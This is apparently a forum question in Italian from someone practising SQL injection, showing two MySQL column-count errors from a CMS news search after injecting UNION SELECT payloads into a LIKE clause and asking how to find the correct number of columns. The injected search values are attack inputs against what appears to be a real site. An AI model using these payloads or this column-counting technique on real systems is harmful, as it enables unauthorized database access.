Sto provando a migliorare le mie capacità e la comprensione di SQL injection e di difesa da esso.
la query assume due forme a seconda di cosa sto cercando di passare:
1)
SQL Error: The used SELECT statements have a different number of columns at /home/xxxxxxxx/www/system/models/additional_user_news.class.php line 215
Array
(
[code] => 1222
[message] => The used SELECT statements have a different number of columns
[query] => SELECT * FROM cms_news WHERE node_id=45 AND topic_id = 18 AND active='1' AND title LIKE '%' union select 1 # %' ORDER BY sort DESC, dateCreated DESC LIMIT 0,10
[context] => /home/xxxxxxxx/www/system/models/additional_user_news.class.php line 215
)
nel caso in cui sto cercando di passare 'union select 1 #
2)
SQL Error: The used SELECT statements have a different number of columns at /home/xxxxxxxx/www/system/models/additional_user_news.class.php line 197
Array
(
[code] => 1222
[message] => The used SELECT statements have a different number of columns
[query] => SELECT COUNT(id) as cnews FROM cms_news WHERE node_id = 45 AND topic_id=18 AND active='1' AND dateCreated<=1475703392
AND title LIKE '%' union select 1,2 #%'
LIMIT 0,1
[context] => /home/xxxxxxxx/www/system/models/additional_user_news.class.php line 197
)
se sto cercando di passare qualcosa del genere: 'union select 1,2 #
Semplicemente non capisco perché mi dia 2 query diverse per tag di ricerca diversi. E come è possibile in questo modo trovare il giusto numero di colonne?